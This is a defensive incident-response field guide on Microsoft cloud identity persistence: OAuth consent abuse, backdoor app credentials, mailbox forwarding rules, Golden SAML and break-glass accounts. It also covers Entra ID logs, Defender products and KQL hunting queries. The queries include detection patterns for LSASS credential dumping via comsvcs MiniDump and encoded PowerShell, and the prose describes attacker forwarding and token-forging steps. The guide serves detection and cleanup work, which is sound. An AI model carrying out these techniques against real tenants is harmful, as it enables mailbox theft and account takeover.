- MITRE ATT&CK — T1547.004
- SANS Digital Forensics Certifications overview (FOR508 — persistence hunting)

August 3, 2026

`Cloud` `Persistence` `T1098` `T1098.003`

7.11 Persistence: Malicious OAuth Application Consent Grants

ATT&CK: T1098.003 — Account Manipulation: Additional Cloud Roles (OAuth consent abuse falls under this broader technique family)

7.11.1 The mechanism

When a user (or an admin, on the user's behalf) consents to an OAuth application's requested permissions, that app gets a standing grant to act against Microsoft Graph with those permissions — independent of the user's password. Reset the password, revoke sessions, even disable the account temporarily, and a consented OAuth app's access token flow can keep functioning until the grant itself is explicitly revoked. This is precisely why it belongs in a persistence catalog rather than under initial access alone: it's what an attacker sets up *to survive* your remediation of the credential they used to get in.

A phishing lure asking the target to "sign in and approve this app" to view a shared document is a common delivery vector — the target's actual credentials are never touched.

7.11.2 Where the evidence lives

Entra ID audit log — look for `Consent to application` operations, and `Add app role assignment` events. Defender for Cloud Apps surfaces OAuth app risk more directly if licensed, including flagging apps with unusually broad `Mail.Read`, `Files.ReadWrite.All`, or similar high-value Graph scopes.

7.11.3 Detection approach

Review consented applications for scopes disproportionate to what the app plausibly needs — a "meeting scheduler" app requesting full mailbox read access is the classic shape of this abuse. Flag consent grants to apps registered outside your own tenant, particularly ones registered very recently relative to when consent was granted.

> **Red flag**
>
> An OAuth grant to an external, recently-registered application requesting mail, file, or directory permissions well beyond its apparent purpose.

7.11.4 Cleanup

Revoke the app's consent/grant entirely (not just disabling the user who originally approved it) via the Entra admin center or `Remove-MgOauth2PermissionGrant`, and review whether Admin Consent policies should be tightened to prevent users from self-approving high-risk permission scopes going forward.

7.11.5 Referenced From

- Module 5: Persistence Catalog
- Defender for Cloud Apps: Reading an OAuth Consent Alert
- Module 7: Microsoft Defender Suite for IR
- Playbook: Business Email Compromise (BEC)

7.11.6 Sources

- MITRE ATT&CK — T1098.003
- Module 7: Microsoft Defender Suite — Defender for Cloud Apps OAuth app governance

August 3, 2026

`Cloud` `Persistence` `T1098` `T1098.001`

7.12 Persistence: Backdoor App Registrations & Service Principal Credentials

ATT&CK: T1098.001 — Account Manipulation: Additional Cloud Credentials

7.12.1 The mechanism

An attacker with sufficient privilege in Entra ID has two closely related options for a durable, low-visibility foothold that doesn't depend on any single user account:

- **Create a new app registration / service principal** and grant it high-privilege API permissions (application permissions, which don't require a signed-in user and can be provisioned without triggering a consent prompt if the attacker already holds admin rights).
- **Add credentials to an existing, legitimate app registration** — a new client secret or certificate — so the attacker can authenticate as that trusted application going forward. This is the quieter of the two options, since nothing about the app's identity or permission set changes; only a credential most admins never audit gets added.

7.12.2 Where the evidence lives

Entra ID audit log — `Add service principal credentials`, `Add application`, `Update application` (permission changes), and `Add app role assignment` operations. Since these are administrative actions, they should be rare enough in most tenants to review individually rather than needing heavy filtering.

7.12.3 Detection approach

Baseline your tenant's legitimate app registrations and their expected permission sets, then alert on any new high-privilege application permission grant (particularly anything close to `Directory.ReadWrite.All`, `Application.ReadWrite.All`, or mail/file-wide scopes) and on new credentials added to existing apps outside a documented change window. An app registration created by an account that doesn't normally do this kind of administrative work is itself worth flagging.

> **Red flag**
>
> A new client secret or certificate added to an existing app registration with no corresponding change ticket, or a new app registration with broad application-level Graph permissions.

7.12.4 Cleanup

Remove the added credential (or delete the malicious app registration outright if it was purpose-built), and review the full permission history of the affected app — if it's a legitimate app the attacker piggybacked on, confirm its original permission set is still intact and hasn't also been quietly expanded.

7.12.5 Referenced From

- Module 5: Persistence Catalog

7.12.6 Sources

- MITRE ATT&CK — T1098.001
- Module 6: Cloud Identity — Entra ID audit log fundamentals

August 3, 2026

`Cloud` `Persistence` `T1114` `T1114.003`

7.13 Persistence: Mailbox Forwarding Rules & Delegate Access

ATT&CK: T1114.003 — Email Collection: Email Forwarding Rule

7.13.1 The mechanism

This is the single most common persistence mechanism in Business Email Compromise: once inside a mailbox, an attacker creates an inbox rule or a forwarding configuration that quietly copies (or redirects) incoming mail to an external address. Critically, this is a **configuration change on the mailbox itself**, not a live session — resetting the account's password and revoking its tokens (see the hybrid runbook) does nothing to remove a forwarding rule that's already in place. An attacker who's locked out of live access can still passively read every email that account receives going forward.

Two flavors: an **inbox rule** (`New-InboxRule` / `Set-InboxRule` — often set to forward and then silently delete or move the original to a rarely-checked folder so the mailbox owner doesn't notice), and **mailbox-level forwarding** (`Set-Mailbox -ForwardingSmtpAddress`), which forwards at the transport level rather than via a visible rule.

7.13.2 Where the evidence lives

Exchange Online / Unified Audit Log operations: `New-InboxRule`, `Set-InboxRule`, `Set-Mailbox` (specifically changes to `ForwardingSmtpAddress` or `ForwardingAddress`), and `Add-MailboxPermission` (for delegate-access grants, a related persistence pattern giving another mailbox standing access to read this one).

7.13.3 Detection approach

Alert on **any** new forwarding rule or mailbox-forwarding configuration pointing at an external domain — legitimate business need for this is rare enough that broad alerting is practical, similar to the WMI-subscription approach in the endpoint catalog. Pay particular attention to rules that also delete, move, or mark-as-read the forwarded message, since that's specifically about hiding the rule's existence from the mailbox owner rather than any legitimate mail-management purpose.

> **Red flag**
>
> Any inbox rule or mailbox forwarding configuration targeting an external domain, especially one that also hides or deletes the forwarded copy.

7.13.4 Cleanup

Remove the rule or forwarding configuration (`Remove-InboxRule`, or clear `ForwardingSmtpAddress`), and review mail flow for the period the rule was active — every message that matched it should be treated as read by the attacker, which for many organizations triggers separate breach-notification analysis.

7.13.5 Referenced From

- Module 5: Persistence Catalog
- Advanced Hunting with KQL
- Playbook: Business Email Compromise (BEC)
- Case Study: Business Email Compromise, End to End

7.13.6 Sources

- MITRE ATT&CK — T1114.003

- Module 6: Cloud Identity — hybrid account-compromise runbook

August 3, 2026

`Cloud` `Persistence` `T1606` `T1606.002`

7.14 Persistence: Federation Trust Abuse ("Golden SAML")

ATT&CK: T1606.002 — Forge Web Credentials: SAML Tokens

7.14.1 The mechanism

This is the most severe cloud-identity persistence mechanism in this catalog, and the hardest to detect. In a federated environment (classically AD FS, though the underlying weakness applies anywhere a token-signing certificate anchors trust), possession of the federation service's private token-signing certificate lets an attacker forge a valid SAML assertion for **any user in the tenant, including Global Administrators, without ever touching that user's actual credentials or MFA**.

Because the forged token is cryptographically valid, it passes authentication exactly as a legitimate token would — the compromise is upstream of every password reset, every MFA challenge, and every conditional access policy that assumes the token it's evaluating was honestly issued.

7.14.2 Where the evidence lives

This is a genuinely hard detection problem; there is no single reliable event that says "someone forged a token." What's realistic:

- Entra ID sign-in logs showing authentication as a federated user with no corresponding real authentication event on the on-prem AD FS server for that session
- Sign-ins with an unusual token lifetime, issuer characteristics, or claims pattern inconsistent with normal AD FS-issued tokens
- Any access to the AD FS server itself, or to the token-signing certificate's private key material, outside expected administrative activity — this is the point to focus detection effort on, since it's the precondition for the whole technique

7.14.3 Detection approach

Treat the token-signing certificate as one of the highest-value assets in the entire identity infrastructure — monitor access to the AD FS server and the certificate store with the same rigor applied to a Domain Controller. Because post-hoc token detection is unreliable, prevention (tightly restricting who can log onto or administer the AD FS server) matters more here than almost anywhere else in this catalog.

> **Red flag**
>
> Any unexpected access to the AD FS server or its signing certificate, or federated sign-ins with no matching on-prem authentication event.

7.14.4 Cleanup

Rotate the token-signing certificate immediately — this invalidates every previously forged token in one action, though it will also require re-establishing the federation trust relationship and should be planned with awareness that it briefly disrupts legitimate federated sign-in. Treat every account in the tenant as potentially compromised for the duration the attacker held certificate access, since a forged token could have targeted any of them.

7.14.5 Referenced From

- Module 5: Persistence Catalog
- Hybrid Sync Mechanics

7.14.6 Sources

- MITRE ATT&CK — T1606.002
- Module 6: Cloud Identity — hybrid identity mechanics

August 3, 2026

Cloud Persistence T1078 T1078.004

7.15 Persistence: Break-Glass / Emergency-Access Account Abuse

ATT&CK: T1078.004 — Valid Accounts: Cloud Accounts

7.15.1 The mechanism

Most well-run Entra ID tenants maintain one or two "break-glass" accounts — highly privileged, deliberately excluded from Conditional Access and sometimes even from MFA, kept in reserve for the specific scenario where a misconfiguration or outage locks legitimate admins out of everything else. That deliberate exclusion from normal controls is exactly what makes these accounts an exceptional persistence target: an attacker who compromises or backdoors one gets a foothold that's structurally exempt from the policies that would otherwise catch or block them.

Two distinct sub-patterns: directly compromising the break-glass account's credentials (they're often stored somewhere far less secure than the process demands — a password manager, a sealed envelope, a document nobody's rotated in years), or quietly adding a new principal into that account's Conditional Access exclusion scope, effectively creating a *second*, attacker-controlled break-glass account riding on the same policy exemptions.

7.15.2 Where the evidence lives

Entra ID sign-in logs for the break-glass account itself — this is the one place in this entire catalog where the detection rule is closest to absolute: **these accounts should show essentially zero sign-in activity**, ever, outside a genuine declared emergency. Also monitor Conditional Access policy audit events for any change to exclusion lists.

7.15.3 Detection approach

Alert on **any** sign-in to a designated break-glass account, full stop — the extremely low legitimate usage rate makes this one of the very few identity signals where near-zero false-positive tolerance is realistic. Separately, audit Conditional Access policy exclusion lists on a regular cadence; an unreviewed exclusion list is exactly where a second, illegitimate break-glass path gets planted and forgotten.

> **Red flag**
>
> Any sign-in event for a break-glass account without a corresponding, pre-declared emergency-access justification.

7.15.4 Cleanup

Rotate the break-glass account's credentials immediately (and re-secure however they're stored), review the Conditional Access exclusion lists across every policy for unauthorized additions, and treat every action taken during any unauthorized session on this account as maximally privileged — assume it had access to essentially everything in the tenant.

7.15.5 Referenced From

- Module 5: Persistence Catalog

7.15.6 Sources

- MITRE ATT&CK — T1078.004
- Module 6: Cloud Identity — Conditional Access fundamentals

August 3, 2026

8. Cloud Identity (Entra ID / Hybrid)

Cloud Identity

8.1 Module 6: Cloud Identity (Entra ID / Hybrid)

Covers Microsoft Entra ID (formerly Azure AD) sign-in and audit telemetry, Conditional Access, Identity Protection, and — critically for most enterprises — the mechanics of **hybrid identity**, where an on-prem Active Directory account and its cloud counterpart are two records that must both be handled correctly during an incident.

8.1.1 Module status: complete

- [x] Sign-In Logs vs. Audit Logs — what each captures, and the retention trap between Entra's native logs and the Purview Unified Audit Log
- [x] Conditional Access in an Investigation
- [x] Identity Protection Risk Signals — impossible travel, atypical travel, anonymized IP, leaked credentials
- [x] Hybrid Sync Mechanics — password hash sync vs. pass-through authentication vs. federation
- [x] The Entra Connect Server: A Target in Its Own Right — why this box carries DCSync-equivalent risk

8.1.2 Hybrid account-compromise runbook (available now)

This is the one piece of this module that's fully written, because it directly answers two specifics worth getting exactly right.

Why the password gets reset *twice* in hybrid environments

For a hybrid-joined account, Microsoft's own emergency-access guidance is explicit: reset the on-prem Active Directory password **twice**, not once. The reasoning is about timing, not superstition — if there's any delay in on-prem-to-cloud password replication (via Entra Connect / password hash sync), a single reset can leave a window where the *old* password hash is still valid somewhere in the sync pipeline, which is exactly the condition a pass-the-hash attack exploits. A second reset closes that window regardless of where the delay actually occurred. If you can confidently rule out compromise of the credential itself, Microsoft's own guidance allows a single reset — but for a suspected-compromised account, treat the double reset as the default, not the exception.

Why PowerShell, not the admin-center GUI, for session revocation

Disabling an account and resetting its password does **not** by itself invalidate tokens already issued to that account. An attacker holding a valid refresh token can keep minting new access tokens against Exchange Online, SharePoint, Teams, and any other app that token was scoped to — until that refresh token is explicitly revoked.

The current tool for this is the `Revoke-MgUserSignInSession` cmdlet (Microsoft Graph PowerShell SDK):

```
Connect-MgGraph -Scopes "User.ReadWrite.All"
Revoke-MgUserSignInSession -UserId "user@contoso.com"
```

This invalidates every refresh token issued to every application for that user, plus browser session cookies, in one call — by resetting a session-validity timestamp on the account itself, rather than needing to individually revoke sessions app by app. That's the forceful, simultaneous, cross-app behavior that makes it the right tool over the GUI's more piecemeal session-revocation options.

Deprecated — don't use

Older guides reference `Revoke-AzureADUserAllRefreshToken` from the legacy `AzureAD` PowerShell module. That module is being retired — use `Revoke-MgUserSignInSession` from the Microsoft Graph SDK instead.

Full remediation order for a compromised hybrid account

1. Disable the account in on-prem Active Directory (the source of authority)
2. Reset the on-prem password **twice**
3. Run `Revoke-MgUserSignInSession` against the Entra ID account
4. Review and remove any persistence the attacker may have added — OAuth grants, mailbox rules, MFA methods — before re-enabling

Access tokens already issued before revocation remain valid until they naturally expire (commonly up to an hour) — revocation stops new token issuance, it does not retroactively kill tokens already in an attacker's hands. Plan containment (network/ Conditional-Access blocking) accordingly if that window matters for your scenario.

8.1.3 Referenced From

- Evidence Handling & Chain of Custody — for Enterprise IR
- Order of Volatility
- Persistence: Backdoor App Registrations & Service Principal Credentials
- Persistence: Break-Glass / Emergency-Access Account Abuse
- Persistence: Federation Trust Abuse ("Golden SAML")
- Module 5: Persistence Catalog
- Persistence: Mailbox Forwarding Rules & Delegate Access
- Hybrid Sync Mechanics
- Advanced Hunting with KQL
- Playbook: Business Email Compromise (BEC)
- Playbook: Data Exfiltration
- Playbook: Domain Compromise / Lateral Movement
- Module 8: Investigation Playbooks
- Playbook: Phishing (Initial Access)
- Case Study: Business Email Compromise, End to End
- Enterprise DFIR Field Guide
- Windows IR Quick Reference

8.1.4 Sources

- Microsoft Learn — Revoke user access in an emergency in Microsoft Entra ID
- Microsoft Learn — Revoke-MgUserSignInSession reference

August 3, 2026

Cloud Identity

8.2 Sign-In Logs vs. Audit Logs (and the Retention Trap Between Them)

8.2.1 Two different questions, two different logs

- **Sign-in logs** answer "did someone get in, and how?" — every authentication attempt (successful or failed), the location, device, client app, which Conditional Access policies were evaluated and their result, and — with Identity Protection licensed — a risk assessment for that specific sign-in.
- **Audit logs** answer "what changed in the directory?" — administrative and object-level events: a user created, a role assigned, an app registration modified, a group membership changed.

A real investigation usually needs both, in sequence: the sign-in log to find *when and how* an attacker got in, the audit log to find *what they did once they were there* — a new mailbox rule, a new app registration, a new Conditional Access exclusion.

8.2.2 The retention trap: these are not the same system as the Unified Audit Log

This is a genuinely common point of confusion worth stating plainly: **Entra ID's own native sign-in and audit logs are a completely separate system from the Microsoft Purview Unified Audit Log (UAL)**, with independent retention governed differently.

System	Default retention	Governed by
Entra ID sign-in logs (native)	7 days (Free) / 30 days (P1 or P2)	Entra ID license tier
Entra ID audit logs (native)	7 days (Free) / 30 days (P1 or P2)	Entra ID license tier
Identity Protection risky sign-in data (P2)	An additional ~60 days on top of the above	Entra ID P2 license
Microsoft Purview Unified Audit Log	180 days (Standard) / 1 year+ (Premium, E5)	Microsoft Purview Audit, independent of Entra ID licensing

The practical implication: **if you're only relying on the Entra admin center's built-in log views, you may have as little as 7 days of visibility** — nowhere near enough for investigations that start well after initial compromise, which is most of them. Extending native Entra log retention requires configuring Diagnostic Settings to export to a Log Analytics workspace, Microsoft Sentinel, or a storage account *before* an incident — this cannot be backfilled retroactively once the native retention window has already passed.

> **Red flag (operational, not investigative)**
>
> Discovering during an active incident that Diagnostic Settings export was never configured, and the relevant sign-in activity is already outside the native 7/30-day window. This is a preparation gap, not a detection one — fix it before you need it, not during.

8.2.3 Referenced From

- Timeline Construction & Correlation
- Module 6: Cloud Identity (Entra ID / Hybrid)
- Module 7: Microsoft Defender Suite for IR
- Case Study: Business Email Compromise, End to End
- Case Studies
- Glossary

8.2.4 Sources

- Microsoft Learn — Microsoft Entra data retention
- Microsoft Learn — Manage audit log retention policies with Microsoft Purview

August 3, 2026

Cloud Identity

8.3 Conditional Access in an Investigation

8.3.1 What it does, and why the sign-in log is where you check it

Conditional Access policies are evaluated at the moment of sign-in — the sign-in log records exactly which policies applied to a given sign-in and what each one decided: **Success** (requirements satisfied), **Failure** (requirements not met, sign-in blocked), or **Not Applied** (the policy's conditions didn't match this sign-in at all — wrong user group, wrong app, wrong location, and so on).

That last state is the one most worth double-checking during an investigation: a "Not Applied" result for a policy you *expected* to cover the sign-in in question usually means a scoping gap, not a bypass — but it's worth confirming which, since the practical effect on the account is identical either way.

8.3.2 Two things worth checking specifically

Was the policy actually enforcing, or only reporting? Conditional Access supports a "Report-only" mode specifically for testing new policies before turning on enforcement — a common and easy-to-miss misconfiguration is a policy that was meant to be protecting an account sitting in report-only mode indefinitely, generating log data about what *would* have happened without ever actually blocking anything. If a sign-in "should have" been stopped by a policy and wasn't, checking the policy's actual state (Enforced vs. Report-only) is one of the first things to rule out.

Did the sign-in use a protocol Conditional Access can't evaluate? Legacy authentication protocols (older POP, IMAP, and some legacy Exchange ActiveSync implementations) predate modern Conditional Access and, in environments where they're still permitted, can authenticate without most CA policies ever being able to evaluate them at all — not a bypass of the policy's logic, but a path that was never subject to it in the first place. Disabling legacy authentication is one of the highest-leverage hardening steps precisely because it closes this class of gap outright rather than requiring policy tuning.

> **Red flag**
>
> A successful sign-in with no Conditional Access policies applied where several should have matched, a relevant policy discovered to be in Report-only rather than Enforced mode, or successful authentication via a legacy protocol that bypasses modern policy evaluation entirely.

8.3.3 Referenced From

- Module 6: Cloud Identity (Entra ID / Hybrid)

8.3.4 Sources

- SANS Digital Forensics Certifications overview (FOR509 — cloud identity forensics)

August 3, 2026

Cloud Identity

8.4 Identity Protection Risk Signals

Microsoft Entra ID Protection (P2) evaluates every sign-in and every user against a set of risk detections, surfacing a risk level that can drive automated response through risk-based Conditional Access policies.

8.4.1 The core signals

Signal	What it means	Notes for investigation
Impossible travel	Two sign-ins from locations that would require faster-than-physically-possible travel between them	High-confidence on its own, but VPN use by the legitimate user can occasionally trigger it — check the client/device consistency before assuming compromise
Atypical travel	A sign-in location inconsistent with the user's recent pattern, without necessarily being physically impossible	Softer signal than impossible travel; more useful in combination with other risk factors than alone
Anonymized IP address	Sign-in from a known anonymizing service (VPN, Tor, open proxy)	Not inherently malicious — plenty of legitimate corporate VPN and privacy-tool use looks identical — but worth correlating against the account's normal behavior
Leaked credentials	Microsoft correlates sign-in credentials against known, publicly circulating credential-dump datasets	A match means the *credential* is known-exposed, not necessarily that this specific sign-in is malicious — but it materially raises the stakes of any other simultaneous risk signal
Unfamiliar sign-in properties	ML-based detection of sign-in characteristics (device, location, behavior) inconsistent with the user's established pattern	The broadest, most heuristic signal — good as a contributing factor, weakest as a standalone trigger

8.4.2 How risk levels drive response

Each signal contributes to an overall risk level (low/medium/high) for the sign-in and, cumulatively, the user. Risk-based Conditional Access policies can act automatically on this — requiring MFA re-registration, forcing a password change, or blocking access outright — which means part of investigating a flagged account is confirming **what automated response, if any, already fired**, rather than assuming a human needs to take the first action.

> **Red flag**
>
> Multiple risk signals firing together for the same sign-in or the same user in a short window — the combination is a much stronger indicator than any single signal alone.

8.4.3 Referenced From

- Module 6: Cloud Identity (Entra ID / Hybrid)

8.4.4 Sources

- SANS Digital Forensics Certifications overview (FOR509 — cloud identity investigation)

August 3, 2026

Cloud Identity

8.5 Hybrid Sync Mechanics

Three distinct models exist for connecting on-prem Active Directory identities to Entra ID, and knowing which one an environment uses changes both the attack surface and the investigation approach.

8.5.1 Password Hash Sync (PHS)

The on-prem password hash is re-hashed and synchronized to Entra ID, allowing cloud authentication to succeed even if on-prem infrastructure is unreachable. Two sync cadences run in parallel: the general directory delta sync (objects, group memberships, attributes) runs on a **30-minute default cycle**, but password changes specifically get their own dedicated, faster channel that runs **every 2 minutes** and can't be reconfigured to a different interval.

This is directly relevant to the double password-reset guidance elsewhere in this module: the sync channel itself is fast, but the guidance exists for the edge cases — replication lag between on-prem Domain Controllers before the change even reaches the PHS agent, or timing races during an active incident — not because PHS is inherently slow.

8.5.2 Pass-Through Authentication (PTA)

No password hash is stored in the cloud at all. Authentication requests are forwarded in real time to lightweight on-prem agents, which validate them directly against an on-prem Domain Controller. This means on-prem infrastructure availability becomes a hard dependency for cloud sign-in — if the on-prem agents or DCs are down, cloud authentication fails too, which is a meaningfully different availability posture than PHS.

8.5.3 Federation (AD FS)

An entirely different trust model: authentication is redirected to on-prem AD FS servers, which issue a signed token Entra ID trusts based on the federation relationship rather than validating a password or hash directly. This is the model that makes the Golden SAML technique possible — an attacker who compromises the AD FS token-signing certificate can forge valid tokens for any user without needing PHS, PTA, or any on-prem authentication event to fire at all.

8.5.4 Why this matters for scoping an investigation

The sync model in use determines where to even look. A PHS environment's authentication story lives primarily in the cloud (Entra sign-in logs); a PTA environment requires checking both the cloud request and the on-prem agent/DC logs it was forwarded to; a federated environment requires including the AD FS server itself as an in-scope asset from the start — treating it the same way this guide treats a Domain Controller, not as a peripheral system.

8.5.5 Referenced From

- Module 6: Cloud Identity (Entra ID / Hybrid)

8.5.6 Sources

- Microsoft Learn — Implement password hash synchronization
- SANS Digital Forensics Certifications overview (FOR509 — hybrid identity architecture)

August 3, 2026

Cloud Identity T1003 T1003.006

8.6 The Entra Connect Server: A Target in Its Own Right

8.6.1 Why this page exists

Every other page in this module treats individual accounts and sign-ins as the unit of compromise. This page is about a single server that, if compromised, can be worse than compromising most individual Domain Controllers — and that this guide hasn't yet treated with the scrutiny it treats an actual DC.

8.6.2 What Entra Connect's on-prem account can actually do

Entra Connect (formerly Azure AD Connect) uses several distinct accounts, but the one that matters most for this page is the **AD DS Connector account** — the on-premises account it uses to read directory data for synchronization. That account is granted **Replicating Directory Changes and Replicating Directory Changes All** — the exact same extended rights documented on the DCSync Detection page, granted permanently and legitimately as a normal, required part of how hybrid sync functions, not as an anomaly to detect.

This means the Entra Connect server's service account is, by design, in the same rights class as a Domain Controller for the purpose of reading directory secrets. An attacker who compromises the Entra Connect server doesn't need to steal a separate DCSync-capable credential — the server they're already standing on has one.

8.6.3 The cloud side carries its own privilege

The cloud-facing account — visible in Entra ID as "On-Premises Directory Synchronization Service Account," assigned the **Directory Synchronization Accounts** role — is not a narrow, purpose-built role either. It carries privileges in an undocumented internal synchronization API, and security research has demonstrated paths from that role to Global Administrator. Password writeback (where a cloud-side password change syncs back to on-prem AD) is a legitimate feature of the same account, meaning compromise here can also mean the ability to push a chosen password to an on-prem account, not just read data from one.

8.6.4 Why this doesn't get the same attention a DC does

Domain Controllers are reflexively treated as tier-0 infrastructure — locked down, monitored, patched aggressively. The Entra Connect server frequently isn't held to the same standard, partly because it's conceptually filed under "identity sync tooling" rather than "authentication infrastructure," even though its actual privilege level says otherwise. Microsoft's own guidance is explicit that this account should never be granted Domain Admin and should run as a Group Managed Service Account with least-privilege scoping — the fact that this needs to be stated as guidance is itself evidence of how often it isn't followed in practice.

8.6.5 Where the evidence lives, and what to check

- **On the server itself:** treat it like a Domain Controller for triage purposes — process tree baseline, Prefetch/Amcache for execution evidence, and the same persistence catalog checks you'd run against any tier-0 asset.
- **In Entra ID:** audit changes to the Directory Synchronization Accounts role assignment and any unexpected principal added to it — this is a durable, cloud-side persistence mechanism in its own right, structurally similar in spirit to AdminSDHolder abuse on the on-prem side.
- **Sign-in activity for the "On-Premises Directory Synchronization Service Account"** outside its normal, automated sync pattern — this account authenticating interactively, or from a location other than the known Entra Connect server, is a strong signal on its own.

Red flag

Any interactive sign-in by the Entra Connect service account, an unexpected principal holding the Directory Synchronization Accounts role, or endpoint-level compromise indicators on the Entra Connect server itself.

8.6.6 Turning this into report language

"The sync server was compromised" understates the exposure unless the reader understands what that server can do. "The compromised host was the organization's Entra Connect server; its on-premises service account holds Replicating Directory Changes All rights — the same directory-replication privilege documented for DCSync attacks — meaning this compromise carries equivalent risk to a Domain Controller compromise, not a lesser one, regardless of the server's 'identity sync' classification in asset inventory" makes the severity legible to a reader who would otherwise reasonably assume a sync utility server is lower-stakes than a DC.

8.6.7 ATT&CK mapping

T1003.006 (DCSync) — the mechanism is identical regardless of which asset the attacker is standing on when they invoke it.

8.6.8 Referenced From

- Module 6: Cloud Identity (Entra ID / Hybrid)
- Glossary

8.6.9 Sources

- Microsoft Learn — Microsoft Entra Connect: Accounts and permissions
- Tenable TechBlog — research on Directory Synchronization Accounts role privilege escalation paths

August 3, 2026

9. Microsoft Defender Suite

Defender Suite

9.1 Module 7: Microsoft Defender Suite for IR

"Microsoft Defender" is six differently-licensed products that share a brand name — knowing which one you're looking at, and what it does and doesn't cover, matters for scoping an investigation correctly.

9.1.1 The family, mapped

Product	What it actually is	Runs where
Defender Antivirus	The built-in, real-time antivirus/anti-malware engine in Windows itself. Present on every modern Windows box regardless of licensing.	Local, every endpoint
Defender for Endpoint (MDE)	Cloud-backed EDR — advanced hunting, device timeline, alerts, automated investigation. Defender AV is the sensor underneath it. Formerly branded *Windows Defender ATP*.	Endpoint agent + cloud portal
Defender for Identity	Monitors on-prem AD signals for identity attacks — DCSync, Golden Ticket, Kerberoasting patterns — by watching Domain Controller traffic and logs.	Sensor on Domain Controllers
Defender for Cloud Apps	The CASB (Cloud Access Security Broker) — OAuth app risk, impossible-travel-style anomaly detection across SaaS. Formerly *Microsoft Cloud App Security (MCAS)*.	Cloud, API + proxy-based
Defender for Office 365	Email/collaboration protection — Safe Links, Safe Attachments, phishing/impersonation detection.	Exchange Online / M365
Defender for Cloud	A *different* product again — Azure/multi-cloud workload security posture (CSPM) and workload protection. **Not** one of the four that correlate into XDR below.	Azure Resource Manager scope

Defender XDR is the unifying layer: Defender for Endpoint, Defender for Identity, Defender for Office 365, and Defender for Cloud Apps correlate their signals into one incident view at `security.microsoft.com`, with cross-product automated investigation and response. Defender for Cloud stays separate — a common licensing and scoping mix-up worth catching early in an investigation, before assuming a signal exists somewhere it doesn't.

9.1.2 Why Defender AV gets its own line even without full XDR licensing

An organization running only base Windows with Defender AV — no E5, no MDE — still has a forensically useful local artifact: the **Windows Defender operational event log** (`Microsoft-Windows-Windows Defender/Operational`), including detection events (ID 1116), remediation-action events (ID 1117), and real-time-protection-disabled events (ID 5001, itself worth alerting on as a likely defense-evasion signal). Don't assume "no MDE license" means "no Defender telemetry at all."

9.1.3 Module status: complete

- [x] Advanced Hunting with KQL — query templates tied directly to Modules 1, 3, and 4
- [x] Detection Engineering — turning a hunt query into a tuned, standing detection rule
- [x] Defender for Identity: Mapping Alerts — verified alert names mapped to Module 2's AD techniques
- [x] Defender for Cloud Apps: Reading an OAuth Alert — the triage companion to Module 5's OAuth persistence entry

- [x] Automated Investigation & Remediation — what it does on your behalf, and what it doesn't

For Unified Audit Log / Purview retention tiers, see Module 6 — the same retention picture applies to Defender-adjacent evidence and isn't repeated here.

9.1.4 Referenced From

- Persistence: Malicious OAuth Application Consent Grants
- Playbook: Data Exfiltration
- Playbook: Insider Threat
- Playbook: Phishing (Initial Access)
- Glossary
- Enterprise DFIR Field Guide

9.1.5 Sources

- Microsoft Learn — What is Microsoft Defender XDR?

August 3, 2026

Defender Suite

9.2 Advanced Hunting with KQL

Defender XDR's Advanced Hunting feature queries a shared schema of tables — `DeviceProcessEvents`, `DeviceNetworkEvents`, `EmailEvents`, `IdentityLogonEvents`, and others — using Kusto Query Language (KQL). This page is a set of starting-point queries tied directly to earlier modules, not a KQL tutorial; treat these as templates to adapt against your own environment's baseline.

9.2.1 Finding encoded PowerShell (ties to Module 4)

```
DeviceProcessEvents
| where FileName =~ "powershell.exe"
| where ProcessCommandLine has_any ("-enc", "-EncodedCommand", "-e ", " -en ")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessParentFileName
```

9.2.2 Finding suspicious LSASS access (ties to Module 3)

```
DeviceProcessEvents
| where FileName =~ "rundll32.exe"
| where ProcessCommandLine has "comsvcs" and ProcessCommandLine has_any ("MiniDump", "#24")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
```

9.2.3 Finding an unexpected process tree (ties to Module 1)

```
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("winword.exe", "excel.exe", "outlook.exe")
| where FileName in~ ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
```

9.2.4 Finding new persistence via Scheduled Tasks (ties to Module 5)

```
DeviceProcessEvents
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
```

9.2.5 Identity and cloud queries

The tables above (`Device*`) cover the endpoint. Investigations that touch Module 6 or Module 5's cloud persistence entries need a different table family: `IdentityLogonEvents` and `IdentityQueryEvents` (populated by Defender for Identity and Entra ID) and `CloudAppEvents` (populated by Defender for Cloud Apps).

Directory enumeration preceding a possible Kerberoasting run — a single account issuing an unusually high volume of AD object queries in a short window:

```
IdentityQueryEvents
| where Timestamp > ago(1h)
| summarize QueryCount = count() by AccountUpn, bin(Timestamp, 10m)
| where QueryCount > 50
```

New mailbox forwarding rule (ties to Module 5's mailbox forwarding entry):

```
CloudAppEvents
| where ActionType == "New-InboxRule" or ActionType == "Set-Mailbox"
| project Timestamp, AccountDisplayName, ActionType, RawEventData
```

> **Verify exact `ActionType` values against your own tenant**
>
> `ActionType` strings are numerous and occasionally shift between schema versions — the two starting points above are directionally correct but worth confirming against the in-portal schema reference (`Settings → Advanced hunting → schema reference`) before relying on them in a production detection rather than an ad hoc hunt.

9.2.6 A cross-table correlation example (ties to the Phishing playbook)

The real power of Advanced Hunting is joining across the endpoint/identity/email boundary in one query — exactly what the Phishing playbook's "did anyone who clicked also get a suspicious follow-on sign-in" triage question needs:

```
EmailEvents
| where Timestamp > ago(7d)
| where ThreatTypes has "Phish"
| project RecipientEmailAddress, PhishTime = Timestamp
| join kind=inner (
    IdentityLogonEvents
    | project AccountUpn, LogonTime = Timestamp, Application, LogonType
) on $left.RecipientEmailAddress == $right.AccountUpn
| where LogonTime between (PhishTime .. (PhishTime + 1h))
| project RecipientEmailAddress, PhishTime, LogonTime, Application, LogonType
```

This is a genuinely different kind of query than the single-table examples above it — it directly answers "who clicked, and did anything unusual happen to their identity in the hour afterward," which is precisely the pivot the Phishing playbook asks for.

9.2.7 A few habits worth building

- **Prefer `has` / `has_any` over `contains` for command-line token matching** — `has` matches on word boundaries and is both faster and less prone to noisy substring false-positives than a raw `contains`.
- **Always scope a time window explicitly** rather than relying on the UI default — an unscoped query against a large tenant is slow and easy to accidentally run against far more data than intended.
